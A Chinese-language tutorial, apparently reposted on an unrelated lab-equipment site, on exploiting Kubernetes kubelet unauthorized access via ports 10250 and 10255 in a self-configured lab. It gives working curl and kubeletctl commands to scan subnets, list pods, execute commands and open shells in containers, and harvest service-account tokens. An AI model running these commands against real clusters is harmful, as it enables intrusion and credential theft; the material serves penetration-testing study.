K8S Kubelet未授权访问漏洞

您所在的位置:网站首页 etcd未授权访问漏洞修复 K8S Kubelet未授权访问漏洞

K8S Kubelet未授权访问漏洞

2024-07-07 21:52:53| 来源: 网络整理| 查看: 265

Kubernetes中的kubelet是一个运行在每个工作节点上的核心组件,它负责管理节点上的容器生命周期、资源管理、镜像拉取、节点注册、Pod监控和报告、安全性控制以及日志和指标收集,协作容器运行时,以确保容器在节点上正确运行,从而实现容器编排和自动化容器管理。

Kubelet API Server (Port 10250) 未授权访问漏洞:此漏洞涉及到 kubelet API 服务器的端口 10250。默认情况下,kubelet API 服务器允许未授权的访问,这可能导致恶意用户或应用程序访问和执行敏感操作,如查看节点上的 Pod 数据,甚至更改节点的配置。此漏洞可能会导致安全性问题和数据泄漏。Kubelet Read-Only Port (Port 10255) 未授权访问漏洞:此漏洞涉及到 kubelet 的只读端口,即端口 10255。默认情况下,kubelet 的只读端口也允许未授权的访问,允许恶意用户或应用程序查看节点上的一些敏感信息,如 Pod 日志和配置。尽管只读端口比完全的 kubelet API 服务器更受限制,但仍可能导致信息泄漏问题。

10250端口未授权访问

k8s默认安装后,kulelet是有授权的。

编辑 kubelet 的配置文件 /var/lib/kubelet/config.yaml (默认位置)并进行以下更改:1. 设置authentication:anonymous:enabled为true(默认是false)2. 设置authorization:mode为AlwaysAllow(默认是Webhook)

重启kubelet服务

systemctl restart kubelet

现在可以远程访问了

利用返回的信息执行命令

curl -XPOST -k "https://192.168.159.236:10250/run/kube-system/kube-proxy-ccqvn/kube-proxy" -d "cmd=hostname“

由于一些 API 命令与curl一起使用时比较复杂,我们使用一个更方便的客户端kubeletctl

项目地址:https://github.com/cyberark/kubeletctl

下载并安装

curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

接下来我们使用这个工具对kubernetes集群进行发现发现、侦察、远程代码执行

发现:发现10250端口

搜索打开 kubelet 端口的节点,我们可以在特定子网上使用kubeletctl scan命令

kubeletctl scan --cidr 192.168.159.0/24

侦察:列出节点上的pods

确定可访问的 kubelet API 后,我们需要检查可以提取哪些信息。最常见和最重要的信息是/pods端点,它将为我们提供 Pod 列表。

kubeletctl pods --server 192.168.159.236

容器内的远程代码执行

一旦我们获得了 Pod 和容器的详细信息,我们就可以在它们内部运行命令。kubeletctl添加scan rce参数来单独检查每个容器,以查看是否可以在其中运行命令。

kubeletctl scan rce --server 192.168.159.236

执行命令

kubeletctl exec "hostname" -p kube-proxy-ccqvn  -c kube-proxy  -n kube-system --server 192.168.159.236进入容器

kubeletctl exec sh  -p kube-proxy-ccqvn  -c kube-proxy  -n kube-system --server 192.168.159.236

更高级的一些用法

可以在节点内的所有 pod 上运行命令,而无需单独指定每个 pod 和容器

kubeletctl run "uname -a" --all-pods  --server 192.168.159.236

攻击者在 Kubernetes 环境中最常见的事情之一就是搜索令牌,因此有一个特定的命令可以查看所有容器中的令牌

kubeletctl scan token   --server 192.168.159.236

10255端口未授权访问

默认情况下k8s集群不对外开放10255端口,我们在配置文件config.yaml中添加readOnlyPort: 10255

重启kubelet服务

systemctl restart kubelet

现在可以访问集群的10255端口

10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。

获取pods信息

kubeletctl pods   --server 192.168.159.236 --http --port=10255

执行读取token的命令没有返回结果

kubeletctl scan token   --server 192.168.159.236 --http --port=10255



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭